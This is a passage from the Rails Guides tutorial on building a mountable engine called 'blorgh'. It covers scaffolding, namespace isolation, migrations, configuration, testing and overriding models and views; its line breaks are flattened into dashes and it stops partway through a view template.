**can** be a plugin, -and a plugin **can** be an engine. - -The engine that will be created in this guide will be called "blorgh". This -engine will provide blogging functionality to its host applications, allowing -for new articles and comments to be created. At the beginning of this guide, you -will be working solely within the engine itself, but in later sections you'll -see how to hook it into an application. - -Engines can also be isolated from their host applications. This means that an -application is able to have a path provided by a routing helper such as -`articles_path` and use an engine that also provides a path also called -`articles_path`, and the two would not clash. Along with this, controllers, models -and table names are also namespaced. You'll see how to do this later in this -guide. - -It's important to keep in mind at all times that the application should -**always** take precedence over its engines. An application is the object that -has final say in what goes on in its environment. The engine should -only be enhancing it, rather than changing it drastically. - -To see demonstrations of other engines, check out -[Devise](https://github.com/plataformatec/devise), an engine that provides -authentication for its parent applications, or -[Thredded](https://github.com/thredded/thredded), an engine that provides forum -functionality. There's also [Spree](https://github.com/spree/spree) which -provides an e-commerce platform, and -[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. - -Finally, engines would not have been possible without the work of James Adam, -Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever -meet them, don't forget to say thanks! - -Generating an engine --------------------- - -To generate an engine, you will need to run the plugin generator and pass it -options as appropriate to the need. For the "blorgh" example, you will need to -create a "mountable" engine, running this command in a terminal: - -```bash -$ rails plugin new blorgh --mountable -``` - -The full list of options for the plugin generator may be seen by typing: - -```bash -$ rails plugin --help -``` - -The `--mountable` option tells the generator that you want to create a -"mountable" and namespace-isolated engine. This generator will provide the same -skeleton structure as would the `--full` option. The `--full` option tells the -generator that you want to create an engine, including a skeleton structure -that provides the following: - - * An `app` directory tree - * A `config/routes.rb` file: - - ```ruby - Rails.application.routes.draw do - end - ``` - - * A file at `lib/blorgh/engine.rb`, which is identical in function to a - standard Rails application's `config/application.rb` file: - - ```ruby - module Blorgh - class Engine < ::Rails::Engine - end - end - ``` - -The `--mountable` option will add to the `--full` option: - - * Asset manifest files (`application.js` and `application.css`) - * A namespaced `ApplicationController` stub - * A namespaced `ApplicationHelper` stub - * A layout view template for the engine - * Namespace isolation to `config/routes.rb`: - - ```ruby - Blorgh::Engine.routes.draw do - end - ``` - - * Namespace isolation to `lib/blorgh/engine.rb`: - - ```ruby - module Blorgh - class Engine < ::Rails::Engine - isolate_namespace Blorgh - end - end - ``` - -Additionally, the `--mountable` option tells the generator to mount the engine -inside the dummy testing application located at `test/dummy` by adding the -following to the dummy application's routes file at -`test/dummy/config/routes.rb`: - -```ruby -mount Blorgh::Engine => "/blorgh" -``` - -### Inside an Engine - -#### Critical Files - -At the root of this brand new engine's directory lives a `blorgh.gemspec` file. -When you include the engine into an application later on, you will do so with -this line in the Rails application's `Gemfile`: - -```ruby -gem 'blorgh', path: 'engines/blorgh' -``` - -Don't forget to run `bundle install` as usual. By specifying it as a gem within -the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file -and requiring a file within the `lib` directory called `lib/blorgh.rb`. This -file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) -and defines a base module called `Blorgh`. - -```ruby -require "blorgh/engine" - -module Blorgh -end -``` - -TIP: Some engines choose to use this file to put global configuration options -for their engine. It's a relatively good idea, so if you want to offer -configuration options, the file where your engine's `module` is defined is -perfect for that. Place the methods inside the module and you'll be good to go. - -Within `lib/blorgh/engine.rb` is the base class for the engine: - -```ruby -module Blorgh - class Engine < ::Rails::Engine - isolate_namespace Blorgh - end -end -``` - -By inheriting from the `Rails::Engine` class, this gem notifies Rails that -there's an engine at the specified path, and will correctly mount the engine -inside the application, performing tasks such as adding the `app` directory of -the engine to the load path for models, mailers, controllers, and views. - -The `isolate_namespace` method here deserves special notice. This call is -responsible for isolating the controllers, models, routes and other things into -their own namespace, away from similar components inside the application. -Without this, there is a possibility that the engine's components could "leak" -into the application, causing unwanted disruption, or that important engine -components could be overridden by similarly named things within the application. -One of the examples of such conflicts is helpers. Without calling -`isolate_namespace`, the engine's helpers would be included in an application's -controllers. - -NOTE: It is **highly** recommended that the `isolate_namespace` line be left -within the `Engine` class definition. Without it, classes generated in an engine -**may** conflict with an application. - -What this isolation of the namespace means is that a model generated by a call -to `bin/rails g model`, such as `bin/rails g model article`, won't be called `Article`, but -instead be namespaced and called `Blorgh::Article`. In addition, the table for the -model is namespaced, becoming `blorgh_articles`, rather than simply `articles`. -Similar to the model namespacing, a controller called `ArticlesController` becomes -`Blorgh::ArticlesController` and the views for that controller will not be at -`app/views/articles`, but `app/views/blorgh/articles` instead. Mailers are namespaced -as well. - -Finally, routes will also be isolated within the engine. This is one of the most -important parts about namespacing, and is discussed later in the -[Routes](#routes) section of this guide. - -#### `app` Directory - -Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, -`mailers`, `models` and `views` directories that you should be familiar with -from an application. The `helpers`, `mailers` and `models` directories are -empty, so they aren't described in this section. We'll look more into models in -a future section, when we're writing the engine. - -Within the `app/assets` directory, there are the `images`, `javascripts` and -`stylesheets` directories which, again, you should be familiar with due to their -similarity to an application. One difference here, however, is that each -directory contains a sub-directory with the engine name. Because this engine is -going to be namespaced, its assets should be too. - -Within the `app/controllers` directory there is a `blorgh` directory that -contains a file called `application_controller.rb`. This file will provide any -common functionality for the controllers of the engine. The `blorgh` directory -is where the other controllers for the engine will go. By placing them within -this namespaced directory, you prevent them from possibly clashing with -identically-named controllers within other engines or even within the -application. - -NOTE: The `ApplicationController` class inside an engine is named just like a -Rails application in order to make it easier for you to convert your -applications into engines. - -NOTE: Because of the way that Ruby does constant lookup you may run into a situation -where your engine controller is inheriting from the main application controller and -not your engine's application controller. Ruby is able to resolve the `ApplicationController` constant, and therefore the autoloading mechanism is not triggered. See the section [When Constants Aren't Missed](autoloading_and_reloading_constants.html#when-constants-aren-t-missed) of the [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html) guide for further details. The best way to prevent this from -happening is to use `require_dependency` to ensure that the engine's application -controller is loaded. For example: - -``` ruby -# app/controllers/blorgh/articles_controller.rb: -require_dependency "blorgh/application_controller" - -module Blorgh - class ArticlesController < ApplicationController - ... - end -end -``` - -WARNING: Don't use `require` because it will break the automatic reloading of classes -in the development environment - using `require_dependency` ensures that classes are -loaded and unloaded in the correct manner. - -Lastly, the `app/views` directory contains a `layouts` folder, which contains a -file at `blorgh/application.html.erb`. This file allows you to specify a layout -for the engine. If this engine is to be used as a stand-alone engine, then you -would add any customization to its layout in this file, rather than the -application's `app/views/layouts/application.html.erb` file. - -If you don't want to force a layout on to users of the engine, then you can -delete this file and reference a different layout in the controllers of your -engine. - -#### `bin` Directory - -This directory contains one file, `bin/rails`, which enables you to use the -`rails` sub-commands and generators just like you would within an application. -This means that you will be able to generate new controllers and models for this -engine very easily by running commands like this: - -```bash -$ bin/rails g model -``` - -Keep in mind, of course, that anything generated with these commands inside of -an engine that has `isolate_namespace` in the `Engine` class will be namespaced. - -#### `test` Directory - -The `test` directory is where tests for the engine will go. To test the engine, -there is a cut-down version of a Rails application embedded within it at -`test/dummy`. This application will mount the engine in the -`test/dummy/config/routes.rb` file: - -```ruby -Rails.application.routes.draw do - mount Blorgh::Engine => "/blorgh" -end -``` - -This line mounts the engine at the path `/blorgh`, which will make it accessible -through the application only at that path. - -Inside the test directory there is the `test/integration` directory, where -integration tests for the engine should be placed. Other directories can be -created in the `test` directory as well. For example, you may wish to create a -`test/models` directory for your model tests. - -Providing engine functionality ------------------------------- - -The engine that this guide covers provides submitting articles and commenting -functionality and follows a similar thread to the [Getting Started -Guide](getting_started.html), with some new twists. - -### Generating an Article Resource - -The first thing to generate for a blog engine is the `Article` model and related -controller. To quickly generate this, you can use the Rails scaffold generator. - -```bash -$ bin/rails generate scaffold article title:string text:text -``` - -This command will output this information: - -``` -invoke active_record -create db/migrate/[timestamp]_create_blorgh_articles.rb -create app/models/blorgh/article.rb -invoke test_unit -create test/models/blorgh/article_test.rb -create test/fixtures/blorgh/articles.yml -invoke resource_route - route resources :articles -invoke scaffold_controller -create app/controllers/blorgh/articles_controller.rb -invoke erb -create app/views/blorgh/articles -create app/views/blorgh/articles/index.html.erb -create app/views/blorgh/articles/edit.html.erb -create app/views/blorgh/articles/show.html.erb -create app/views/blorgh/articles/new.html.erb -create app/views/blorgh/articles/_form.html.erb -invoke test_unit -create test/controllers/blorgh/articles_controller_test.rb -invoke helper -create app/helpers/blorgh/articles_helper.rb -invoke assets -invoke js -create app/assets/javascripts/blorgh/articles.js -invoke css -create app/assets/stylesheets/blorgh/articles.css -invoke css -create app/assets/stylesheets/scaffold.css -``` - -The first thing that the scaffold generator does is invoke the `active_record` -generator, which generates a migration and a model for the resource. Note here, -however, that the migration is called `create_blorgh_articles` rather than the -usual `create_articles`. This is due to the `isolate_namespace` method called in -the `Blorgh::Engine` class's definition. The model here is also namespaced, -being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due -to the `isolate_namespace` call within the `Engine` class. - -Next, the `test_unit` generator is invoked for this model, generating a model -test at `test/models/blorgh/article_test.rb` (rather than -`test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml` -(rather than `test/fixtures/articles.yml`). - -After that, a line for the resource is inserted into the `config/routes.rb` file -for the engine. This line is simply `resources :articles`, turning the -`config/routes.rb` file for the engine into this: - -```ruby -Blorgh::Engine.routes.draw do - resources :articles -end -``` - -Note here that the routes are drawn upon the `Blorgh::Engine` object rather than -the `YourApp::Application` class. This is so that the engine routes are confined -to the engine itself and can be mounted at a specific point as shown in the -[test directory](#test-directory) section. It also causes the engine's routes to -be isolated from those routes that are within the application. The -[Routes](#routes) section of this guide describes it in detail. - -Next, the `scaffold_controller` generator is invoked, generating a controller -called `Blorgh::ArticlesController` (at -`app/controllers/blorgh/articles_controller.rb`) and its related views at -`app/views/blorgh/articles`. This generator also generates a test for the -controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper -(`app/helpers/blorgh/articles_helper.rb`). - -Everything this generator has created is neatly namespaced. The controller's -class is defined within the `Blorgh` module: - -```ruby -module Blorgh - class ArticlesController < ApplicationController - ... - end -end -``` - -NOTE: The `ArticlesController` class inherits from -`Blorgh::ApplicationController`, not the application's `ApplicationController`. - -The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced: - -```ruby -module Blorgh - module ArticlesHelper - ... - end -end -``` - -This helps prevent conflicts with any other engine or application that may have -an article resource as well. - -Finally, the assets for this resource are generated in two files: -`app/assets/javascripts/blorgh/articles.js` and -`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little -later. - -You can see what the engine has so far by running `bin/rails db:migrate` at the root -of our engine to run the migration generated by the scaffold generator, and then -running `rails server` in `test/dummy`. When you open -`http://localhost:3000/blorgh/articles` you will see the default scaffold that has -been generated. Click around! You've just generated your first engine's first -functions. - -If you'd rather play around in the console, `rails console` will also work just -like a Rails application. Remember: the `Article` model is namespaced, so to -reference it you must call it as `Blorgh::Article`. - -```ruby ->> Blorgh::Article.find(1) -=> # -``` - -One final thing is that the `articles` resource for this engine should be the root -of the engine. Whenever someone goes to the root path where the engine is -mounted, they should be shown a list of articles. This can be made to happen if -this line is inserted into the `config/routes.rb` file inside the engine: - -```ruby -root to: "articles#index" -``` - -Now people will only need to go to the root of the engine to see all the articles, -rather than visiting `/articles`. This means that instead of -`http://localhost:3000/blorgh/articles`, you only need to go to -`http://localhost:3000/blorgh` now. - -### Generating a Comments Resource - -Now that the engine can create new articles, it only makes sense to add -commenting functionality as well. To do this, you'll need to generate a comment -model, a comment controller and then modify the articles scaffold to display -comments and allow people to create new ones. - -From the application root, run the model generator. Tell it to generate a -`Comment` model, with the related table having two columns: an `article_id` integer -and `text` text column. - -```bash -$ bin/rails generate model Comment article_id:integer text:text -``` - -This will output the following: - -``` -invoke active_record -create db/migrate/[timestamp]_create_blorgh_comments.rb -create app/models/blorgh/comment.rb -invoke test_unit -create test/models/blorgh/comment_test.rb -create test/fixtures/blorgh/comments.yml -``` - -This generator call will generate just the necessary model files it needs, -namespacing the files under a `blorgh` directory and creating a model class -called `Blorgh::Comment`. Now run the migration to create our blorgh_comments -table: - -```bash -$ bin/rails db:migrate -``` - -To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and -add this line before the "Edit" link: - -```html+erb -

Comments

-<%= render @article.comments %> -``` - -This line will require there to be a `has_many` association for comments defined -on the `Blorgh::Article` model, which there isn't right now. To define one, open -`app/models/blorgh/article.rb` and add this line into the model: - -```ruby -has_many :comments -``` - -Turning the model into this: - -```ruby -module Blorgh - class Article < ApplicationRecord - has_many :comments - end -end -``` - -NOTE: Because the `has_many` is defined inside a class that is inside the -`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` -model for these objects, so there's no need to specify that using the -`:class_name` option here. - -Next, there needs to be a form so that comments can be created on an article. To -add this, put this line underneath the call to `render @article.comments` in -`app/views/blorgh/articles/show.html.erb`: - -```erb -<%= render "blorgh/comments/form" %> -``` - -Next, the partial that this line will render needs to exist. Create a new -directory at `app/views/blorgh/comments` and in it a new file called -`_form.html.erb` which has this content to create the required partial: - -```html+erb -

New comment

-<%= form_for [@article, @article.comments.build] do |f| %> -

- <%= f.label :text %>
- <%= f.text_area :text %> -

- <%= f.submit %> -<% end %> -``` - -When this form is submitted, it is going to attempt to perform a `POST` request -to a route of `/articles/:article_id/comments` within the engine. This route doesn't -exist at the moment, but can be created by changing the `resources :articles` line -inside `config/routes.rb` into these lines: - -```ruby -resources :articles do - resources :comments -end -``` - -This creates a nested route for the comments, which is what the form requires. - -The route now exists, but the controller that this route goes to does not. To -create it, run this command from the application root: - -```bash -$ bin/rails g controller comments -``` - -This will generate the following things: - -``` -create app/controllers/blorgh/comments_controller.rb -invoke erb - exist app/views/blorgh/comments -invoke test_unit -create test/controllers/blorgh/comments_controller_test.rb -invoke helper -create app/helpers/blorgh/comments_helper.rb -invoke assets -invoke js -create app/assets/javascripts/blorgh/comments.js -invoke css -create app/assets/stylesheets/blorgh/comments.css -``` - -The form will be making a `POST` request to `/articles/:article_id/comments`, which -will correspond with the `create` action in `Blorgh::CommentsController`. This -action needs to be created, which can be done by putting the following lines -inside the class definition in `app/controllers/blorgh/comments_controller.rb`: - -```ruby -def create - @article = Article.find(params[:article_id]) - @comment = @article.comments.create(comment_params) - flash[:notice] = "Comment has been created!" - redirect_to articles_path -end - -private - def comment_params - params.require(:comment).permit(:text) - end -``` - -This is the final step required to get the new comment form working. Displaying -the comments, however, is not quite right yet. If you were to create a comment -right now, you would see this error: - -``` -Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder], -:formats=>[:html], :locale=>[:en, :en]}. Searched in: * -"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * -"/Users/ryan/Sites/side_projects/blorgh/app/views" -``` - -The engine is unable to find the partial required for rendering the comments. -Rails looks first in the application's (`test/dummy`) `app/views` directory and -then in the engine's `app/views` directory. When it can't find it, it will throw -this error. The engine knows to look for `blorgh/comments/_comment` because the -model object it is receiving is from the `Blorgh::Comment` class. - -This partial will be responsible for rendering just the comment text, for now. -Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this -line inside it: - -```erb -<%= comment_counter + 1 %>. <%= comment.text %> -``` - -The `comment_counter` local variable is given to us by the `<%= render -@article.comments %>` call, which will define it automatically and increment the -counter as it iterates through each comment. It's used in this example to -display a small number next to each comment when it's created. - -That completes the comment function of the blogging engine. Now it's time to use -it within an application. - -Hooking Into an Application ---------------------------- - -Using an engine within an application is very easy. This section covers how to -mount the engine into an application and the initial setup required, as well as -linking the engine to a `User` class provided by the application to provide -ownership for articles and comments within the engine. - -### Mounting the Engine - -First, the engine needs to be specified inside the application's `Gemfile`. If -there isn't an application handy to test this out in, generate one using the -`rails new` command outside of the engine directory like this: - -```bash -$ rails new unicorn -``` - -Usually, specifying the engine inside the Gemfile would be done by specifying it -as a normal, everyday gem. - -```ruby -gem 'devise' -``` - -However, because you are developing the `blorgh` engine on your local machine, -you will need to specify the `:path` option in your `Gemfile`: - -```ruby -gem 'blorgh', path: 'engines/blorgh' -``` - -Then run `bundle` to install the gem. - -As described earlier, by placing the gem in the `Gemfile` it will be loaded when -Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then -`lib/blorgh/engine.rb`, which is the file that defines the major pieces of -functionality for the engine. - -To make the engine's functionality accessible from within an application, it -needs to be mounted in that application's `config/routes.rb` file: - -```ruby -mount Blorgh::Engine, at: "/blog" -``` - -This line will mount the engine at `/blog` in the application. Making it -accessible at `http://localhost:3000/blog` when the application runs with `rails -server`. - -NOTE: Other engines, such as Devise, handle this a little differently by making -you specify custom helpers (such as `devise_for`) in the routes. These helpers -do exactly the same thing, mounting pieces of the engines's functionality at a -pre-defined path which may be customizable. - -### Engine setup - -The engine contains migrations for the `blorgh_articles` and `blorgh_comments` -table which need to be created in the application's database so that the -engine's models can query them correctly. To copy these migrations into the -application run the following command from the `test/dummy` directory of your Rails engine: - -```bash -$ bin/rails blorgh:install:migrations -``` - -If you have multiple engines that need migrations copied over, use -`railties:install:migrations` instead: - -```bash -$ bin/rails railties:install:migrations -``` - -This command, when run for the first time, will copy over all the migrations -from the engine. When run the next time, it will only copy over migrations that -haven't been copied over already. The first run for this command will output -something such as this: - -```bash -Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh -Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh -``` - -The first timestamp (`[timestamp_1]`) will be the current time, and the second -timestamp (`[timestamp_2]`) will be the current time plus a second. The reason -for this is so that the migrations for the engine are run after any existing -migrations in the application. - -To run these migrations within the context of the application, simply run `bin/rails -db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the -articles will be empty. This is because the table created inside the application is -different from the one created within the engine. Go ahead, play around with the -newly mounted engine. You'll find that it's the same as when it was only an -engine. - -If you would like to run migrations only from one engine, you can do it by -specifying `SCOPE`: - -```bash -bin/rails db:migrate SCOPE=blorgh -``` - -This may be useful if you want to revert engine's migrations before removing it. -To revert all migrations from blorgh engine you can run code such as: - -```bash -bin/rails db:migrate SCOPE=blorgh VERSION=0 -``` - -### Using a Class Provided by the Application - -#### Using a Model Provided by the Application - -When an engine is created, it may want to use specific classes from an -application to provide links between the pieces of the engine and the pieces of -the application. In the case of the `blorgh` engine, making articles and comments -have authors would make a lot of sense. - -A typical application might have a `User` class that would be used to represent -authors for an article or a comment. But there could be a case where the -application calls this class something different, such as `Person`. For this -reason, the engine should not hardcode associations specifically for a `User` -class. - -To keep it simple in this case, the application will have a class called `User` -that represents the users of the application (we'll get into making this -configurable further on). It can be generated using this command inside the -application: - -```bash -rails g model user name:string -``` - -The `bin/rails db:migrate` command needs to be run here to ensure that our -application has the `users` table for future use. - -Also, to keep it simple, the articles form will have a new text field called -`author_name`, where users can elect to put their name. The engine will then -take this name and either create a new `User` object from it, or find one that -already has that name. The engine will then associate the article with the found or -created `User` object. - -First, the `author_name` text field needs to be added to the -`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be -added above the `title` field with this code: - -```html+erb -
- <%= f.label :author_name %>
- <%= f.text_field :author_name %> -
-``` - -Next, we need to update our `Blorgh::ArticleController#article_params` method to -permit the new form parameter: - -```ruby -def article_params - params.require(:article).permit(:title, :text, :author_name) -end -``` - -The `Blorgh::Article` model should then have some code to convert the `author_name` -field into an actual `User` object and associate it as that article's `author` -before the article is saved. It will also need to have an `attr_accessor` set up -for this field, so that the setter and getter methods are defined for it. - -To do all this, you'll need to add the `attr_accessor` for `author_name`, the -association for the author and the `before_validation` call into -`app/models/blorgh/article.rb`. The `author` association will be hard-coded to the -`User` class for the time being. - -```ruby -attr_accessor :author_name -belongs_to :author, class_name: "User" - -before_validation :set_author - -private - def set_author - self.author = User.find_or_create_by(name: author_name) - end -``` - -By representing the `author` association's object with the `User` class, a link -is established between the engine and the application. There needs to be a way -of associating the records in the `blorgh_articles` table with the records in the -`users` table. Because the association is called `author`, there should be an -`author_id` column added to the `blorgh_articles` table. - -To generate this new column, run this command within the engine: - -```bash -$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer -``` - -NOTE: Due to the migration's name and the column specification after it, Rails -will automatically know that you want to add a column to a specific table and -write that into the migration for you. You don't need to tell it any more than -this. - -This migration will need to be run on the application. To do that, it must first -be copied using this command: - -```bash -$ bin/rails blorgh:install:migrations -``` - -Notice that only _one_ migration was copied over here. This is because the first -two migrations were copied over the first time this command was run. - -``` -NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. -NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. -Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh -``` - -Run the migration using: - -```bash -$ bin/rails db:migrate -``` - -Now with all the pieces in place, an action will take place that will associate -an author - represented by a record in the `users` table - with an article, -represented by the `blorgh_articles` table from the engine. - -Finally, the author's name should be displayed on the article's page. Add this code -above the "Title" output inside `app/views/blorgh/articles/show.html.erb`: - -```html+erb -

- Author: - <%= @article.author.name %> -

-``` - -#### Using a Controller Provided by the Application - -Because Rails controllers generally share code for things like authentication -and accessing session variables, they inherit from `ApplicationController` by -default. Rails engines, however are scoped to run independently from the main -application, so each engine gets a scoped `ApplicationController`. This -namespace prevents code collisions, but often engine controllers need to access -methods in the main application's `ApplicationController`. An easy way to -provide this access is to change the engine's scoped `ApplicationController` to -inherit from the main application's `ApplicationController`. For our Blorgh -engine this would be done by changing -`app/controllers/blorgh/application_controller.rb` to look like: - -```ruby -module Blorgh - class ApplicationController < ::ApplicationController - end -end -``` - -By default, the engine's controllers inherit from -`Blorgh::ApplicationController`. So, after making this change they will have -access to the main application's `ApplicationController`, as though they were -part of the main application. - -This change does require that the engine is run from a Rails application that -has an `ApplicationController`. - -### Configuring an Engine - -This section covers how to make the `User` class configurable, followed by -general configuration tips for the engine. - -#### Setting Configuration Settings in the Application - -The next step is to make the class that represents a `User` in the application -customizable for the engine. This is because that class may not always be -`User`, as previously explained. To make this setting customizable, the engine -will have a configuration setting called `author_class` that will be used to -specify which class represents users inside the application. - -To define this configuration setting, you should use a `mattr_accessor` inside -the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the -engine: - -```ruby -mattr_accessor :author_class -``` - -This method works like its brothers, `attr_accessor` and `cattr_accessor`, but -provides a setter and getter method on the module with the specified name. To -use it, it must be referenced using `Blorgh.author_class`. - -The next step is to switch the `Blorgh::Article` model over to this new setting. -Change the `belongs_to` association inside this model -(`app/models/blorgh/article.rb`) to this: - -```ruby -belongs_to :author, class_name: Blorgh.author_class -``` - -The `set_author` method in the `Blorgh::Article` model should also use this class: - -```ruby -self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name) -``` - -To save having to call `constantize` on the `author_class` result all the time, -you could instead just override the `author_class` getter method inside the -`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the -saved value before returning the result: - -```ruby -def self.author_class - @@author_class.constantize -end -``` - -This would then turn the above code for `set_author` into this: - -```ruby -self.author = Blorgh.author_class.find_or_create_by(name: author_name) -``` - -Resulting in something a little shorter, and more implicit in its behavior. The -`author_class` method should always return a `Class` object. - -Since we changed the `author_class` method to return a `Class` instead of a -`String`, we must also modify our `belongs_to` definition in the `Blorgh::Article` -model: - -```ruby -belongs_to :author, class_name: Blorgh.author_class.to_s -``` - -To set this configuration setting within the application, an initializer should -be used. By using an initializer, the configuration will be set up before the -application starts and calls the engine's models, which may depend on this -configuration setting existing. - -Create a new initializer at `config/initializers/blorgh.rb` inside the -application where the `blorgh` engine is installed and put this content in it: - -```ruby -Blorgh.author_class = "User" -``` - -WARNING: It's very important here to use the `String` version of the class, -rather than the class itself. If you were to use the class, Rails would attempt -to load that class and then reference the related table. This could lead to -problems if the table wasn't already existing. Therefore, a `String` should be -used and then converted to a class using `constantize` in the engine later on. - -Go ahead and try to create a new article. You will see that it works exactly in the -same way as before, except this time the engine is using the configuration -setting in `config/initializers/blorgh.rb` to learn what the class is. - -There are now no strict dependencies on what the class is, only what the API for -the class must be. The engine simply requires this class to define a -`find_or_create_by` method which returns an object of that class, to be -associated with an article when it's created. This object, of course, should have -some sort of identifier by which it can be referenced. - -#### General Engine Configuration - -Within an engine, there may come a time where you wish to use things such as -initializers, internationalization or other configuration options. The great -news is that these things are entirely possible, because a Rails engine shares -much the same functionality as a Rails application. In fact, a Rails -application's functionality is actually a superset of what is provided by -engines! - -If you wish to use an initializer - code that should run before the engine is -loaded - the place for it is the `config/initializers` folder. This directory's -functionality is explained in the [Initializers -section](configuring.html#initializers) of the Configuring guide, and works -precisely the same way as the `config/initializers` directory inside an -application. The same thing goes if you want to use a standard initializer. - -For locales, simply place the locale files in the `config/locales` directory, -just like you would in an application. - -Testing an engine ------------------ - -When an engine is generated, there is a smaller dummy application created inside -it at `test/dummy`. This application is used as a mounting point for the engine, -to make testing the engine extremely simple. You may extend this application by -generating controllers, models or views from within the directory, and then use -those to test your engine. - -The `test` directory should be treated like a typical Rails testing environment, -allowing for unit, functional and integration tests. - -### Functional Tests - -A matter worth taking into consideration when writing functional tests is that -the tests are going to be running on an application - the `test/dummy` -application - rather than your engine. This is due to the setup of the testing -environment; an engine needs an application as a host for testing its main -functionality, especially controllers. This means that if you were to make a -typical `GET` to a controller in a controller's functional test like this: - -```ruby -module Blorgh - class FooControllerTest < ActionDispatch::IntegrationTest - include Engine.routes.url_helpers - - def test_index - get foos_url - ... - end - end -end -``` - -It may not function correctly. This is because the application doesn't know how -to route these requests to the engine unless you explicitly tell it **how**. To -do this, you must set the `@routes` instance variable to the engine's route set -in your setup code: - -```ruby -module Blorgh - class FooControllerTest < ActionDispatch::IntegrationTest - include Engine.routes.url_helpers - - setup do - @routes = Engine.routes - end - - def test_index - get foos_url - ... - end - end -end -``` - -This tells the application that you still want to perform a `GET` request to the -`index` action of this controller, but you want to use the engine's route to get -there, rather than the application's one. - -This also ensures that the engine's URL helpers will work as expected in your -tests. - -Improving engine functionality ------------------------------- - -This section explains how to add and/or override engine MVC functionality in the -main Rails application. - -### Overriding Models and Controllers - -Engine model and controller classes can be extended by open classing them in the -main Rails application (since model and controller classes are just Ruby classes -that inherit Rails specific functionality). Open classing an Engine class -redefines it for use in the main application. This is usually implemented by -using the decorator pattern. - -For simple class modifications, use `Class#class_eval`. For complex class -modifications, consider using `ActiveSupport::Concern`. - -#### A note on Decorators and Loading Code - -Because these decorators are not referenced by your Rails application itself, -Rails' autoloading system will not kick in and load your decorators. This means -that you need to require them yourself. - -Here is some sample code to do this: - -```ruby -# lib/blorgh/engine.rb -module Blorgh - class Engine < ::Rails::Engine - isolate_namespace Blorgh - - config.to_prepare do - Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c| - require_dependency(c) - end - end - end -end -``` - -This doesn't apply to just Decorators, but anything that you add in an engine -that isn't referenced by your main application. - -#### Implementing Decorator Pattern Using Class#class_eval - -**Adding** `Article#time_since_created`: - -```ruby -# MyApp/app/decorators/models/blorgh/article_decorator.rb - -Blorgh::Article.class_eval do - def time_since_created - Time.current - created_at - end -end -``` - -```ruby -# Blorgh/app/models/article.rb - -class Article < ApplicationRecord - has_many :comments -end -``` - - -**Overriding** `Article#summary`: - -```ruby -# MyApp/app/decorators/models/blorgh/article_decorator.rb - -Blorgh::Article.class_eval do - def summary - "#{title} - #{truncate(text)}" - end -end -``` - -```ruby -# Blorgh/app/models/article.rb - -class Article < ApplicationRecord - has_many :comments - def summary - "#{title}" - end -end -``` - -#### Implementing Decorator Pattern Using ActiveSupport::Concern - -Using `Class#class_eval` is great for simple adjustments, but for more complex -class modifications, you might want to consider using [`ActiveSupport::Concern`] -(http://api.rubyonrails.org/classes/ActiveSupport/Concern.html). -ActiveSupport::Concern manages load order of interlinked dependent modules and -classes at run time allowing you to significantly modularize your code. - -**Adding** `Article#time_since_created` and **Overriding** `Article#summary`: - -```ruby -# MyApp/app/models/blorgh/article.rb - -class Blorgh::Article < ApplicationRecord - include Blorgh::Concerns::Models::Article - - def time_since_created - Time.current - created_at - end - - def summary - "#{title} - #{truncate(text)}" - end -end -``` - -```ruby -# Blorgh/app/models/article.rb - -class Article < ApplicationRecord - include Blorgh::Concerns::Models::Article -end -``` - -```ruby -# Blorgh/lib/concerns/models/article.rb - -module Blorgh::Concerns::Models::Article - extend ActiveSupport::Concern - - # 'included do' causes the included code to be evaluated in the - # context where it is included (article.rb), rather than being - # executed in the module's context (blorgh/concerns/models/article). - included do - attr_accessor :author_name - belongs_to :author, class_name: "User" - - before_validation :set_author - - private - def set_author - self.author = User.find_or_create_by(name: author_name) - end - end - - def summary - "#{title}" - end - - module ClassMethods - def some_class_method - 'some class method string' - end - end -end -``` - -### Overriding Views - -When Rails looks for a view to render, it will first look in the `app/views` -directory of the application. If it cannot find the view there, it will check in -the `app/views` directories of all engines that have this directory. - -When the application is asked to render the view for `Blorgh::ArticlesController`'s -index action, it will first look for the path -`app/views/blorgh/articles/index.html.erb` within the application. If it cannot -find it, it will look inside the engine. - -You can override this view in the application by simply creating a new file at -`app/views/blorgh/articles/index.html.erb`. Then you can completely change what -this view would normally output. - -Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb` -and put this content in it: - -```html+erb -

Articles

-<%= link_to "New Article", new_article_path %> -<% @articles.each do |article| %> -

<%= article.title %>

- By <%= article.author %> - <%= simple_format(article.text) %> -
